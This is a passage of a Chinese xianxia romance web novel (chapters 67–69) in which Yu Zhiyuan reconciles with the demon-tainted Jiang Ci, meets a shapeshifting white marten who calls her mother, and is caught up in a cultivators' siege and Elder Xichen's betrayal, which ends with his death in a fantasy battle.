一次又一次的试探,一回又一回的装可怜,终于得到了她的承诺。 如此卑劣的手段,但他不在乎。 “你让我承诺只爱你,”虞知鸢下巴抵在他肩上,低声问:“那你呢?” 姜辞似乎是无声笑了下,虞知鸢能感觉到他胸膛传来的震动,而后便听得他的声音:“今此盟誓……他日我若有背弃、离心之举,便引九重天雷,不入轮回。” 虞知鸢:……倒也不必这样狠。 等到姜辞终于抱够了,虞知鸢再打量他的眼底,之前那些复杂难辨的情绪已经消散了,只剩下灼灼的光,以及映出来的她的模样。 不过很快,虞知鸢就想到了点什么。 她一把推开了姜辞。 “不对啊,你以前很看不上我,很讨厌我……” “你还觉得我又蠢又可怜,你以为你自己嘀嘀咕咕的我就没听见吗?” “那次界域骨镜的试炼,你还动手要弄死我!” 神魂融合后,从前模糊的记忆也在这段时间渐渐清晰。 从前在外门时,她和姜辞接触是不多,但她也没真的蠢到一点没感觉到他对她的恶意好吗! 姜辞没想到她会翻旧账,整个人都僵了僵,听她在那掰手指絮絮念叨,眼皮都跟着跳了起来。在虞知鸢往后退时一把攥住了她的手腕,他的指尖紧绷,像是在恐惧着什么似的。 “是我的错,都是我的错。要如何阿鸢才能原谅我呢?”可怜兮兮的。 虞知鸢被他这么一打断,再瞧他那一副好像天都要塌下来了的表情,叹了声气。 罢了罢了,谁叫从前她留在这个世界的是怒、恶、哀三魄呢,又笨又恶毒的人,不招人喜欢才是正常的…… 才怪! 她就算是坏得冒泡,但他那样对她,她也是不会轻易原谅他的! 绝对不会! 第67章 第67章“你知道的,有些时候我…… 便是姜青瑶也不知道姜辞体内的魔气能否一直被压制,但虞知鸢想,只要自己修为够高,那么能压制魔气的时间肯定就越长。 而濉无山恰好便是一处先天福地,此地灵气充裕,乃是修炼的绝佳之地。 于是他们暂且在濉无山住了下来。 一晃过去好几日。 夕阳的最后一抹余晖已经被天地间高低起伏的群山轮廓吞没,绮丽的天色也随之一点点灰暗下来。 虞知鸢坐在屋外的台阶上,静静地看着那个从这样灰暗色彩中朝她走来的人影。 靠近了,才看清他一只手里拎着东西,另一只手臂上还搭了件外袍。 虞知鸢坐在原地不动如山,鼓了鼓腮帮子,问道:“你去哪了?” 姜辞把手里的东西递给她,又给她披上外袍,垂首绑上了带子,他道:“阿鸢都气我好几日了,我总得想法子叫你原谅我。” 虞知鸢:“……” 其实她也没真的生气,但她要修炼嘛,要是姜辞总跟她黏在一起,那难免心思浮动。 “看看这些。”姜辞示意她打开手里的油纸包。 虞知鸢起了点兴致,低头拨开其中一张油纸,是糯米团子。 再拨开另一张,桂花糕。 再拨……没拨成,被姜辞拿回去,从里头取出个冒着热气的烤地瓜来。 “在问心阵中时,阿鸢总带这些吃食给我,那时我没吃,但我知道,”姜辞把剥了一半皮的地瓜送到她嘴边,“其实是你自己喜欢吃。” 虞知鸢:“……你就是这么哄我的?” 姜辞看了看她,思考片刻,忽然垂下眼帘,“我以为做你喜欢做的事,吃你喜欢吃的东西你就会高兴。到底是我愚笨了些 是吗?” 虞知鸢险些被自己的口水呛住,好不容易缓过来,抬手抵住他靠过来的一侧肩膀,没好气,“你少在这给我装可怜。” 之前在凌云宗,他可不就是又装可怜又装柔弱,把她耍得团团转。 “是我不好。”姜辞道,不等虞知鸢回应,又把地瓜往她嘴边送了送,若无其事道:“尝一尝,这是我唯一一个没烤焦的。要是不好吃就再尝尝其他的。” 虞知鸢目光闪动,末了还是心软地张嘴咬了一口。 “好吃吗?” “……还行。” 地瓜有点大,虞知鸢就着姜辞的手吃了小半,又看他吃完了剩下的,这才歪头盯住了他的眼睛。 “好像比前几天要红一些。”她轻声道。 “嗯。”姜辞应了声,顿了顿,又道:“不过没关系,阿鸢不必勉强,我可以控制得住。” 虞知鸢哑了哑。 “时辰不早,我先回去了。”姜辞说着,站起身,想到什么,又低下头来,“修炼不是一朝一夕的事,阿鸢也不用太着急,早些歇息。” 夜风吹过山间,吹得她的长发和他宽大的衣袖轻盈地扬起。 柔软的发丝拂过他的腕间,牵动起微微的痒意,直窜到心头。 姜辞垂眸,一下攥住她的发丝,轻轻卷了卷。 而后便感觉到自己的衣袖被扯了下。 “等一下。” 虞知鸢松开他的衣袖,摸到了他垂在身边的手,又捏住了他的指尖,“我今日刚突破了融合期,已经结丹了。” “要试试效果吗?”她问道。 姜辞呼吸一紧,立刻明白了她话中的意思。 瞬间抽出手,弯腰将她打横抱了起来。 虞知鸢抬手搂住他的脖子,还记得要警告他:“说好了,不许太过分。” “阿鸢,你知道的。”姜辞将她牢牢扣紧,低下头:“有些时候我没法控制我自己。” 虞知鸢:“……但你刚才说你能控制的。” 姜辞将她放在床榻上,俯首吻了下她,嘴唇柔软发烫,他道:“不一样的,阿鸢。” 虞知鸢还想说点什么,只是才一张嘴,她的唇就被堵住了。 她被抵在床榻间,感受到他的指腹一点一点抚过她的后颈、锁骨,忍不住轻轻战栗。 姜辞将她按入怀中,“阿鸢近日可有翻阅过双修典籍?” 虞知鸢:“……?” 他怎么知道她这几天有趁他不在的时候偷偷看过…… 但她也是为了能更好地帮他压制魔气,可不是想那别的啊。 可她没能将话说出口,张开嘴,发出的只有破碎的呜咽声。 姜辞便用力将她箍得更紧了些,他俯身下来,舌尖挟裹着滚烫席卷过她的耳垂,喷洒处的灼热气息落在她的耳后。 而后,一字一句,吟诵起典籍中的字句。 低哑的嗓音钻入耳朵,虞知鸢觉得自己浑身都像是起了火,烧得她四肢瘫软无力,思绪混沌,只能任他予取予求。 /// 翌日。 虞知鸢醒来时,外头已经天光大亮。 屋中的窗户半开,有阳光从窗外淋淋洒洒地淌进来,为室内的家具渡上一层蒙蒙的光。 濉无山落雪的日子居多,这样明媚的阳光实在少见,反倒显得周遭事物都不大真实了。 虞知鸢坐起身,身旁不见姜辞人影,屋子里也并没有他的气息。 她正要起身洗漱,一转眸,蓦地瞧见床榻旁趴着个着杏色上衣和小鱼裙的小丫头,瞧身形只四五岁的模样。 似乎是听到了声音,小丫头揉着眼睛抬起头来,露出一张粉雕玉琢的小脸,一双圆溜溜的眼睛眨巴了下,口齿不清道:“啊……娘……醒了。” 这软糯还带着点奶气的声音,把虞知鸢震得三魂六魄都晃了下。 她、她叫我什么? 我他妈就睡了一觉,孩子就这么大了?!? 我是在做梦吧? 还是又穿了??? 虞知鸢魂魄还没归位,小丫头已经歪着脑袋凑到她面前,抓着她的袖子晃了下,“醒了,吃……” 勉强回过神来的虞知鸢顺着她白胖的手指看过去。 然后稍稍松了口气。 靠窗桌案上放着的,分明是昨天还没动的桂花糕和糯米团子。 既然如此,应该不是她一觉睡了好几年以至于成功错过怀孕生娃带娃的痛苦过程。 她面色缓和了些,下了床榻,蹲在地上,直到视线和小丫头齐平了,才问道:“你是谁?” 小丫头圆滚滚的眼珠转来转去,想了好一会儿,才道:“唔,我是银、银、银……” “笃笃。” 突然响起的叩门声,打断了她的话,紧接着遥光的声音也跟着响了起来:“少夫人醒了吗?” 虞知鸢这厢才应了声,便见身前的小丫头猛地一蹿,径直藏到了她身后,只露出半个小脑袋,眼神警惕地望着门口。 虞知鸢:……这么怕遥光的话……那她可就彻底放心了。 她侧身安抚地摸了摸小丫头的脑袋,然后才带着这个人形小挂件,打开了门。 遥光手里捧着个托盘,一进门,将托盘里东西放在到桌案上,道:“这是少主今日从山下买来的,少夫人趁热吃。” 虞知鸢闻声,探头来瞧。 便见桌案上除了之前就搁着的桂花糕和糯米团子之外,还多了一碗三鲜粥,以及几小蝶下粥菜。 瞧着好像味道还不错的样子,虞知鸢心道。 只是…… “他人呢?” 竟然闲到一大早就下山买吃的了,还真的打算一直用吃的哄她啊?当她三岁小孩呢! 遥光直起身,往后烧退一步,道:“少主还在山下采买。” “采买什么?” “举办结侣仪式需要的物件。” “结侣仪式?” “少主说不能委屈了少夫人。” “……”不是,这种时候,外头搞不好都已经聚集了大堆人马在找他们,他倒还…… 蛮有兴致的? 虞知鸢顿了顿:“婚期什么时候?” 遥光:“就这两天。” 虞知鸢:“???”“那婚服呢?” 遥光:“少主还在采买。” 虞知鸢的思绪滞了滞。 正要张口再问点什么,一只胖乎乎的小手突地从她身后探到桌案上,摸索着捏住了一块桂花糕…… “银砂。”遥光语气平静,制止道:“这是少主给少夫买的,不可以偷吃。” 他话音未落,只见一道银光倏地一蹿,粉雕玉琢的小丫头不见了,只余一只雪白色的幼貂,浑身颤抖着窝在虞知鸢怀中。 虞知鸢:“……”是南泗城那只小白貂。 她望向遥光:“她怎么在这?” 遥光:“我也是昨天发现她的,应该是她自己偷偷跟来的。” “……那她怎么突然就化形了?” “可能是、是濉无山的灵气浓郁……” “那她为什么叫我娘?” 这下遥光也像是楞了下,转头瞧了瞧小白貂,片刻后,道:“它本至少还需百年才能化形,兴许是因为化形早了,脑子没发育好,就出了点问题?” “吱吱吱!”小白貂听懂了,仗着有虞知鸢护着,身子也不抖了,冲着遥光呲牙咧嘴。 但显然没人听得懂她的兽语。 她一着急,变回了人形。 “阿娘……救我,再、再……唔……父母。”她重新扒拉住虞知鸢,伸出小手对遥光指指点点:“你,笨!” 虞知鸢:“……”再生父母? 小白貂懂的还挺多。 但这到底不太重要。 虞知鸢拣了块桂花糕给小白貂,又转眸瞧住了遥光。 小白貂或许口齿不清,但方才最后这两个字,说得可绝对是又清晰又响亮。 但遥光就像没听见似的,神色仍然平静带笑。 虞知鸢收回视线,在桌案旁坐下,端起海鲜粥舀了一勺。 入口软糯鲜美,很入味,应当是熬了很长的时间了。 那厢遥光见状,朝虞知鸢躬了躬身:“少夫人,我先出去了,有事可以喊我。” 虞知鸢像是才察觉遥光还在屋子里,抬起头,应了声“好”。 她话音方才落下,从她手中骤然弹出一道灵力,径直朝着遥光弹了过去。 腮帮子被桂花糕塞得鼓鼓的小白貂听到动静侧过头,见到的便是遥光那张讨厌的脸,连同他的身体,骤然消散。 “阿娘……打,坏人……死!”小白貂眼珠子滴溜溜一转,忽然拍起手来,或许是说的话多了,口齿都流利了许多,“阿娘最……厉害。” 虞知鸢的目光落在“遥光”消散的地方,一点点变得明晰起来。 “他没死,刚才这个只是一团灵气所化。”她道,弯下腰替小白貂擦掉嘴边的碎屑,又抚了抚她的脑袋:“我要出去一趟,你在这里乖乖吃点心。” 小白貂到底还小,听到这些吃的都给她, 登时眼睛一亮,捧住了糯米团子,朝虞知鸢笑得眉眼弯弯:“银砂……乖乖。” 虞知鸢这才转身朝门口去。 只是等她一步跨出门去,外头却并不是她这几日住的院子。 而是满目粼粼波光。 第68章 第68章“姜辞知道你管他叫晦气…… 濉无山山脚。 茫茫雪原中,一夜之间拔地而起数座华丽楼阁。 顺着石阶抬眸望去,可以看到山顶处,悬于半空的巍峨山门上,挂着几盏红灯笼,便是山间青松,都挂上了红绸带。 “这是要做什么?莫不是……成婚?”南荣钰慢慢合拢嘴,看向了身侧的年轻男人,吞了口口水:“大师兄怎么看?” 身侧的男人一身青衣,腰间悬剑,神情冷淡,不见什么波动,只视线却慢慢从山门移到了山脚下的楼阁上。 南荣钰跟着看过去,“啧”了声,“都什么时候了,他们竟还整得如此奢华,实在是……浮夸,太浮——” 慕言蘅突地收回视线,打断他道:“容清真人出来了,我们过去吧。” 南荣钰呆了下,反应过来应是以容清真人为首的修士代表与那世家之首已交涉好,赶紧迈步追上前头的青色身影。 说起来,这凌云宗那可真是没打算让他活着回家啊。 那虞瀚玥都死了,这回围攻,竟然也没忘了带上他。 好在他与姜辞……不,姜辞还是算了,他与虞师姐还算熟悉,想来到时不管哪方胜,他或许都还能再苟苟命? 不多时,两人便与其他弟子汇合,一起迎向从奢华楼阁中出来的一行人。 “可是商定好了围剿之法?”有心急之人迫不及待问道。 旁边当即有人斥道:“这里岂是说话的地方,先回……” 他话未说完,便见容清真人挥了挥手:“不必再回去,我们即刻上山。” 众人闻言不由面面相觑。 他们昨日才到得此地,便是要攻对方个措手不及,那也得他们自己先有所准备吧? 况且昨日那几座金光闪闪的楼阁拔地而起的动静可不小,山上那位既不聋也不瞎,怎么可能不知道他们来了,这贸贸然也没有个计划就上山,怕不是要重演当日凌云宗内那番惨烈可怖的景象。 “各位不必忧心。”这时一直站在容清真人侧后的息尘长老忽然开口了,他道:“濉无山上早便设有机关阵法,只待一个何时的机会便可直接开启。” 修真界中知道这四大世家的人本就寥寥无几,显而易见,能在濉无山设下机关阵法的,也只有那什么修真世家的人了。 听闻从前那魔便是在他们的围攻下受了重伤,才不得已混入凌云宗养伤,如今即便他伤势痊愈,修为大涨,但那些阵法机关多少总还是能克制一些的,如此,加上此次围攻几乎聚集了修真界内所有大能,他们的胜算定是不小。 思及此,众人心下便都大大一松。 说话间,又有不少人从那楼阁中缓步而出。 为首之人是个着白袍的青年,眉间一颗红痣,模样俊美,神情浅淡。 南荣钰碰了碰慕言蘅的肩膀,小声嘀咕着:“他就是那什么,有青龙血脉的谢家的那位吧?叫什么来着……” “谢沉舟。”慕言蘅冷不丁回了句。 “对,谢沉舟。哎我听说当年他还潜入过姜家。这石阶,”南荣钰跺了跺脚,“就是昨天他用姜氏那弟子令牌弄出来的。” 这回慕言蘅没再搭腔。 南荣钰也不以为意,左右看看,摇头晃脑的,一边继续说些有的没的,一边还有心思欣赏这难得一见的雪景。 倒是身后有人忽然拉了拉他的袖子。 他回过头去,便见虞曦云瞪了眼他:“整日唧唧歪歪的你烦不烦?不想死就老老实实待到后头去。” 南荣钰是见识过虞曦云那骄纵作风的。纵然他觉得待在慕言蘅身边会让他更有安全感,但人在屋檐下不得不低头,也只好灰溜溜地往人群后去了。 等到瞧不见他人影了,慕言蘅垂眸看了眼虞曦云,意味不明道:“阿云与之前大不相同了。” “大师兄不也和之前不一样了吗?”虞曦云对上他的视线,笑了下,“事情都已经弄清楚,总算要有个结果了。” /// 天已大亮,湖面上只笼罩着一层浅淡的雾气。有风拂过,带起水面层层波纹。 虞知鸢抬眸远眺。 能看见远处谯水岸边,稀稀落落站着些人。 看打扮,像是常年在谯水中捕鱼为生的渔民。 有人在无意的抬眸间瞧见了她。 短暂的怔愣过后,那人膝盖一弯,竟是朝着她的方向跪了下来。 虞知鸢倍觉怪异,转头往身后看了眼。 宽阔的水面上,除了她,空无一物。 等她再转回头来,便见那人已然伏在岸边磕起了头来。 再细听,还能听见他口中正在高呼“是神女!神女再次临世了!” 岸边的其他人在他的喊声中,半数恍惚,半数跟风地皆跪地伏身。 正在此时,一道清润温和的熟悉嗓音自她身后响起。 “昔日玉尘仙子便是从这谯水中踏水而来,虞师姐莫慌。” 虞知鸢顿了下,而后恍然明悟。 前有玉尘仙子自谯水诞生,她这凭空在谯水中出现的人,会被误认倒也不算太离谱。 她定了定神,转身扫视一圈儿,又往之前出来的方向迈了一步。 宽阔的湖面不见踪影,出现在她眼前的,是濉无山上她住的那间小院,以及立在门口的那抹清俊身影。 “林喻。”虞知鸢凝眸打量他片刻,问他道:“你什么时候成了姜辞的狗腿子了?” 林喻:“……虞师姐实在敏锐,什么都瞒不住师姐太久。” 他轻轻叹息一声,“不过我还是得澄清一下,我可没有助纣为虐,只是运道和实力都差了那么些,走哪都能遇上那晦气玩意儿。” 简而言之,他就是运气不好,一来南泗城就遇上了姜辞,打又打不过,逃又逃不了,也就只能被抓壮丁了。 虞知鸢点了点头,推开屋门进去时不冷不热问了句:“姜辞知道你管他叫晦气玩意儿吗?” 林喻:“……” 不等他出声,从屋中蓦地蹿出个圆滚滚的小家伙,朝虞知鸢奔过来的同时,小小的人转瞬变成了一只浑身雪白的小貂,钻到她怀里拱了拱。 “阿娘,回来了。” 虞知鸢捧住了她,免得她从自己怀里掉出去。 “才这么会儿功夫,银砂说话就顺溜了许多,银砂真聪明。” 小白貂傲娇地扬起头,一双小眼睛炯炯有神,“银砂以后……保护阿娘。” 虞知鸢笑起来:“银砂还小,等银砂长大了就可以保护想要保护的人了。” “那银砂要吃……很多很多东西。”小白貂翻了个身,用小爪子摸摸自己圆滚滚的肚皮,“很快长大。” 虞知鸢挠了挠她的小脑袋,“不只要多吃,还得多睡觉。” “睡觉。”小白貂乖乖巧巧道:“银砂要睡觉。” 等小白貂以长尾卷身,舒舒服服闭上了眼睛,虞知鸢才抬眸看向林喻:“他们找到姜辞的下落了?” 林喻吐了口气,“是。” 虞知鸢:“什么时候的事?” 林喻:“五日前。” 虞知鸢瞳孔一缩,迈步就要往外走。 “来不及的。”林喻抬手打出一道光,化作一堵无形的墙,挡住了虞知鸢的去路。 虞知鸢回过头。 “眼下他们应当已经包围了濉无山,等你赶去,怕早就结束了。”林喻长叹一声,道:“他若是死,你救不得他,他若是没死,也定是要来寻你的,别再错过了。” 虞知鸢微微怔住。 从南泗城到濉无山,哪怕她用力全力,也得要花上两三日的功夫…… 不,不太对。 虞知鸢沉默片刻,忽然问林喻道:“有能更快到濉无山的方法是不是?法器?传送阵?” 林喻动了动唇,话还没说出来,虞知鸢便紧跟着打断他道:“你不用骗我。他能一夜之间把我送到这里来,就一定有法子可以回去。” 她看了眼怀里的小白貂:“否则他为何要助小白貂化形,还有灵气化成的遥光,左不过就是为了拖住我。” 林喻:“……瞒不过你。” 顿了顿,又道:“但我不知道他用了什么法子。” 出人意料的是,虞知鸢没有逼问他,只是抿了抿唇:“好,不说也没关系。” 她脚步一转,又要往屋外去:“你这破墙可拦不住我,我自己去就是。慢是慢了点,倒也不打紧,只要路上不出什么意外,哪怕过去收尸我也认了。不过你嘛,最好趁现在有多远跑多远,毕竟你运气不大好,万一我路上出了个什么事,姜辞又没死,那你可就要倒大霉了。” 她说着,手一挥,方才那堵光墙便如流光般散开了。 林喻本就被她说得头皮一紧,再看她如此轻易就解开了他设下的屏障,脸色都泛了青。 “元婴期……”他张了张嘴:“你修为怎涨的如此之快……” 虞知鸢余光瞥见他脸上的神色,学着某人冷哼了声,“羡慕?你只消找个与姜辞一样,愿意把修为都给你的道侣就可以了。” 林喻闻言,一口老血差点当场喷出来。 他不信那晦气玩意儿看不出来他如今才金丹期的修为,他竟然还要他拦住她…… 如何能拦得住?如何能拦得住! 虞知鸢对他脸上近乎扭曲的表情视而不见,只淡淡道:“不过如今我元婴期的修为,想必你也能更放心一些。外头虽然有些什么炼化某些人的魂魄就能成仙的谣言,要是真找到我了,有修为傍身,我应当也能应付大半,你说是不是?” 她这话说完,不等林喻再出声,便大步跨过了门槛。 只一只脚尚未落地,便听得身后隐隐咬牙切齿的声音:“我有一物还予你。” 虞知鸢不为所动。 一脚落地,已能看到谯水水面上笼罩着的浅淡雾气。 “是你母亲的东西。” 虞知鸢脚步顿了下。 回过头。 林喻脸上的表情已经收了起来。 他抬起手,掌心倏然出现一面银白色的镜子。 汹涌磅礴的灵气缭绕在镜身周围,细看,还能看到镜面之中似有细微的雷光闪烁。 虞知鸢不由诧异:“玄天镜?” 林喻点头,将镜子递给她:“这本就是你母亲的东西,后来被虞瀚玥拿走。那日大战着实混乱,我趁没人注意便替你取了回来。” 虞知鸢回身接过镜子,打量了下,问道:“这镜子能带我回濉无山?” 林喻摇头,“但它应当可以护你周全。” “嗯。”虞知鸢也不矫情,把镜子收好,“那便多谢你了。” 说罢,便又要朝外头去。 林喻抬手按了按额角。 “我不知道这法子行不行。” 见虞知鸢果然又朝他看过来,他无奈叹了声气。 “穿梭地域大多都需要某种介质,此处没有传送阵,但你或许可以找找看,这里与濉无山之间可能存在的介质。” 介质…… 虞知鸢想了想,没什么头绪。 有风从水面上涌来,将浅淡的雾气彻底吹散。和煦的风里挟裹微凉的温度和湿润的气息,拂过她的面颊。 阳光透过云层,金色的光芒在水面上跳跃、闪烁,宛如一条镶嵌着碎金的银带,缓缓地伸向远方。 她眸光微凝,想起来上一回见到的姜氏祖祠也是浮在水上。 所以是…… 水? 第69章 第69章原来姜辞所经历的一切痛…… 风裹着浓郁的血气,贴着地面席卷而过。厚厚的云层压在天际,天光阴沉沉的,仿佛随时要倾颓坍塌。 天地皆黯。 南荣钰抬起眸,只觉得自己眼珠上都像是覆上了一层灰暗。 “发什么呆呢?还不快躲起来!”一鞭子甩过来,却是卷住了他的身体,将他甩到结界了结界里头。 等南荣钰再抬头,便见无数灵刃法器冲天而起,罡风肆虐灵光似刀,与数只魔物相撞的瞬间,全部都瞬间化为灰烬。 而在结界外的半空中,立着一道临风而立的修长身影,狂风卷携着他黑色的衣袍,猎猎作响。 以他为中心,魔气失控扩散,所到之处一片焦残。 那些沾到魔气的修士,无一不是痛苦挣扎、面容扭曲,凄厉惨叫声不断在耳边回荡。 血气与魔气交织着蜿蜒覆盖了天与地。 恍若地狱。 南荣钰目光颤颤,嗫嚅着唇。 事情是怎么到这个地步的呢? 是了,他们刚一上山,便见到了站在山门处一身的姜辞,周身魔气缭绕,整个人都融在一片黑雾之中。 此情此景,自是无需再多言。 三大世家之人当即便联手启动设在濉无山上的阵法。 刹那间,万道金光汇聚,由线织成大网,朝着那道人影落下。 却只见他不紧不慢掀起眼皮,薄唇轻抿,朝着众人勾勒出一抹冷笑。 而后他抬起手,五指张开的瞬间,自他手中飞窜而出的强横魔气当即于半空中撕开了一道裂缝。 霎时,无数魔物伴随着庞大浓重的魔气,自裂缝中如潮水般涌来。 那些魔物仿佛毫无知觉般,主动迎上了那阵法编织的大网。 只听得“轰”的一声响。 漫天血雾肉沫飘散,落下来,几乎铺满了整片结界外的大地。 草木枯,活物死。 便是布在濉无山的阵法,也因这强悍威压尽数毁掉,山石崩裂间,大地颤抖山摇地动。 “怎会如此?” “他……打开了魔域的通道!” “怕是用不了多久,他就会彻底魔化……” 众人皆都万分惊骇。 容清真人眼底也闪过一丝惊惶,但很快又镇定下来:“若他彻底魔化,怕是无人再能制住他,必须要在那之前杀了他!” 姜辞居高临下地注视着他,启唇淡淡道了声:“蠢货。” 容清真人沉着脸斥道:“好生猖狂!” 他冷声说罢,抬手引来落魂钟。 落魂钟往战场中一落,当即压扁了数十只魔物。 与此同时,众修真大能和世家族老再一次在半空之中汇聚结阵。 乌云更浓了,即便是白昼,天色也宛如已近黄昏,黑压压的不见半丝日光。重重云层中,雷光暴闪,人眼来不及见的一百零八道疾雷劈下,无数条隐隐约约的银线在空中浮现。 倏地,银丝发出万丈光芒,亮得教人几乎睁不开眼,待光亮一闪而过,又恢复发丝细的银线。 此时的容清真人也已收回落魂钟,他双脚盘膝,一丝一丝的银白细光从他身体透出,与空中那些银丝融合在一起。 眨眼间,那无数银丝便汇聚成了一柄银色的,通天彻地的巨剑,直指半空中那道魔气缭绕的身影。 虞知鸢自祖祠出来,远远便瞧见了空 中正与巨剑对峙的姜辞。 一身黑色长袍猎猎,从他体内汹涌而出的魔气势如长虹,却也隐隐透出被那举剑压制的颓势。 到了眼下这地步,她心底抱有的那些诸如只要姜辞不彻底魔化,不做危害修真界的事,兴许就能和正道修士和平相处,又或是只要姜辞愿意,他们两个可以隐藏身份,好好过自己日子的侥幸,都彻底不复存在。 也是,哪怕他们不听信炼化姜辞金丹就可以成仙的规划,也没有人会放心留一个随时都可能倾覆整个的修真界的巨大威胁存在于世间。 该怎么办? 兴许只要他彻底魔化,那巨剑便耐他不得。可若是彻底魔化,他就会丧失理智,日后也逃不过天罚雷劫。 阻止他魔化?那指不定今日真的就要给他收尸了。 只是不等虞知鸢有更多的时间思量,那厢巨剑在魔气阻挡下的短暂停滞过后,在落魂钟的磅礴灵力加持下,又一次强势斩下。 天色黯淡,像泼了墨汁似的,魔气聚拢成雾状的云。 姜辞一身黑袍相融于其间,那双赤红的眸像是察觉到什么,倏地朝她看了过来。 虞知鸢看到了那双眼睛里的复杂情绪,却根本没时间去体会,她只觉得脑中“嗡”的一声,在意识尚未反应过来的时候,人便已经朝着姜辞的方向飞了过去。 巨剑斩下,滚滚威压强势碾压下来,即便是在结界中,那些修为不高的修士也都支撑不住跪倒在地,七窍流血。 南荣钰像块破抹布一样躺在血泊中,充血的眼睛中,映出那道急速在天空划过,却又骤然停下的流光。 巨剑与魔气相撞,气浪荡开,伴随着不绝于耳的嗡嗡之声,滚滚威压一层接着一层向下碾压,那些被几乎被巨剑抽空了灵力的大能修士瞬间被扫飞数十丈远,一个个重重落到了地上。 下一瞬,威压陡然一消。 万物死寂中,众人感觉到周身似有源源不断的灵气涌入,等他们有力气起身时,看到的便是一面高悬于空中的古镜。 仰头望去,可以看见镜中有灵光倾泻而下,亦可见镜中映照出的满目疮痍的濉无山,以及那个巨大的,被巨剑劈出来的深不见底的狭长深坑。 许久,不见那坑里有什么动静。 而空中,那些源源不断地,从被那魔撕裂的,始终未曾闭合的裂口里奔涌而出的无数魔物,也在灵光之中散作飞灰。 渐渐地,那裂口也在灵光之中缓缓闭合了。 众人见状,皆都大大松了口气。 唯有南荣钰,他艰难坐起身,目光却死死盯住了方才那处流光陡然停下的地方。 方才那里隐约的数道人影已经彻底瞧不见了,但他应当没看错,拦下那道流光的其中一人,似乎正是息尘长老。 方才那一番混乱,修真界大能几乎倾巢而出,却不知息尘长老究竟想做什么。 但总归,他应该算是又苟过了一劫罢? /// 虞知鸢脑中不断反复地闪过方才那一幕。 巨剑朝着姜辞劈斩而下,气势悍然,瞬间便将那道人影覆盖。 他原本可以抗下来的,但他没有。 她原本可以赶过去的,或许……或许她是可以救下他的。 但她没有。 “为什么?” 为什么之前要犹豫,要是没有犹豫,她一定来得及的,就只差那么一点啊…… 她喉头干哑,茫然空洞的眼神没有落处,此刻只觉得双眼无比酸涩,却一滴泪也没能淌下。 “为什么?”她又喃喃重复一遍,这回问的则是此时站在她身后的那两人。 回答她的是一道略微苍老却犹带笑意的声音:“自是因我等不能让你的神魂受到哪怕一丝的损伤。” 听到这道声音的虞知鸢有一瞬的怔愣。 然等她缓缓回过头,再瞧清楚息尘长老的脸时,竟突然扯出了一抹笑容来:“是息尘长老啊。” 息尘长老同样朝她笑了笑。 虞知鸢的视线便又落到了稍稍落后他半步远的白袍青年身上。 她歪了歪头,同样冲他勾了勾唇。 “谢沉舟。” “许久不见,”谢沉舟对她点了点头,“阿鸢。” 这话一出,虞知鸢心头大半猜测都落了地。 原来如此…… 原来姜辞所经历的一切痛苦,源头却是因为她吗? “你们想要独占我的神魂,才会放出炼化魔胎金丹便能成仙的谣言?”虞知鸢抬头问道,苍白的脸上不见丝毫血色。 息尘长老嗓音含笑:“你这孩子果然比那些自以为是又贪心的人聪慧许多。” 虞知鸢沉默片刻,转眸再看向谢沉舟。 “所以你们到底是什么人?”她问道。 “都这种时候了,还问这些做什么呢?”息尘长老叹息道:“你也不必再挣扎,眼下你身处我设下的结界,此地一切随我心而动,任你再大的本事,在这里,也发挥不出一分来。” 话音落下,一簇火苗骤然自他掌中燃起,短短一瞬便化作大火,朝着虞知鸢猛扑而来。 火焰灼烧到魂魄的瞬间,痛楚让虞知鸢忍不住浑身颤抖,她咬住牙关,并未躲开,反是往前一步,任由那火焰吞噬她的同时,手探向了他……不,是他身后谢沉舟的腰间。 在这个结界中,或许她没法动用灵力,没法使用法器,但谢沉舟既然是他的人,那便必定不会有如她一般的限制,而她要是没记错,他腰间那柄剑,名摄魂。 随着长剑悠长而轻微的蜂鸣声,灼烧她魂魄的火焰愈发炽烈,分分寸寸地剥离她的骨血,像是肤肉被数道蛮力给硬生生撕扯开来。 即使半个魂魄都在痛苦叫嚣,她却仍咬紧牙根,死死握住手里的剑,朝着面前的人攻去。 无法调用灵力,这一剑在他人眼里便如小儿玩耍一般。 息尘眉头都懒得挑一下,只淡淡瞟来一眼,眸底嗤笑一闪而过。 “明知无用还要动手,何必呢……” 他最后一个字的话音轻飘飘落下,身侧骤然袭来凛冽剑气,将他的话硬生生截断。 他脸色一变,往后一躲,再转身,便见那一身青衣的年轻男子已扔出了一枚破界符。 紧跟着一声轰鸣声响。 强劲气流朝四周荡开,破戒符化为灰烬,结界也破开了。 “慕言蘅。”息尘面色一凌,“过了今日,好好当你的凌云宗宗主不好吗?怎么非要来掺这趟浑水。” 慕言蘅反问他:“当个被蒙在鼓中的蠢货好吗?” “既然如此,”息尘微微敛眸,敛不去眼底深沉杀意,“沉舟,送他去死。” 话音落下,虞知鸢手中的摄魂剑陡然一阵颤动,从她手中飞掠至谢沉舟手里。 便在这时,又一道身影从远处飞掠而来,眨眼的功夫便挡住了谢沉舟朝慕言蘅挥去的一剑。 遥光红着眼眶,厉声道:“今日该我向师兄报仇了!” 这厢以为事情已经过去的修士方才松了口气,偶然抬眸间,便又瞧见了半空中打作一团的几人。 有眼尖的自然认出来其中都是些什么人,却见和那凌云宗未来的宗主慕言蘅动手的,正是凌云宗那位息尘长老。 ……这又是个什么状况? 众人不明所以,一时杵在原地不知该帮哪个。 然而到底是慕言蘅的修为略逊一筹。 二人相撞,气浪荡开,将慕言蘅重重扫开。 却在这时,磅礴灵气自虞知鸢掌心,猛地向他冲了过来。 “不知死活!”息尘冷笑,抬手引来一柄剑。 剑身长逾十来尺,剑刃寒气凛冽,乃是一极品灵器。 剑尖以极快的速度刺向虞知鸢。 却有更快的一道疾光从她胸口窜出,咬住了息尘的臂膀,而后传来一阵剧痛。 他手一抖,灵气将那小畜生远远弹开。 下一瞬。 “噗嗤。” 剑尖刺穿了虞知鸢的胸口。 血溅了息尘一身。 也是在同时,他感觉胸口一凉。 等他把视线从虞知鸢身上移到自己胸口,才发现一截流云软鞭已穿透了他的心口。 血混着碎肉从鞭子上滴下来,将他的衣袍染得鲜红。 身后传来虞曦云微哑的声音,“我却也不愿做那任人哄骗欺瞒的蠢货。” 息尘目眦欲裂。 他明明……明明就快成功了,怎会……怎会如此? 他嘴唇蠕动了下,想说点什么,心口那截流云鞭却陡然抽出,带动得他整个人倒了下去。 一切只发生在电光火石间。 山上众人甚至没看清究竟发生了什么,便见息尘的身体重重砸了下来。 虞曦云再 抬眼,映入眼帘的便是一片血红,像朵怒绽的艳丽牡丹,恣意妖娆,却无比刺眼。 